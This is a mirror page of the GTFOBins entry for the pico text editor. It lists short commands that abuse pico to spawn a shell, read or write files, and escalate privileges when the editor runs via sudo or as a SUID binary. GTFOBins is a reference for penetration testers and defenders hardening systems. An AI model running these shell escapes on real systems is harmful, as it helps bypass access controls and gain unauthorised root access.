1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 10:53:35 +02:00
GTFOBins.github.io/_gtfobins/pico.md
2019-04-16 19:11:31 +02:00

704 B

functions
shell file-write file-read suid sudo
code
pico ^R^X reset; sh 1>&0 2>&0
description code
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. pico -s /bin/sh /bin/sh ^T
code
pico file_to_write DATA ^O
code
pico file_to_read
description code
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. ./pico ^R^X reset; sh 1>&0 2>&0
code
sudo pico ^R^X reset; sh 1>&0 2>&0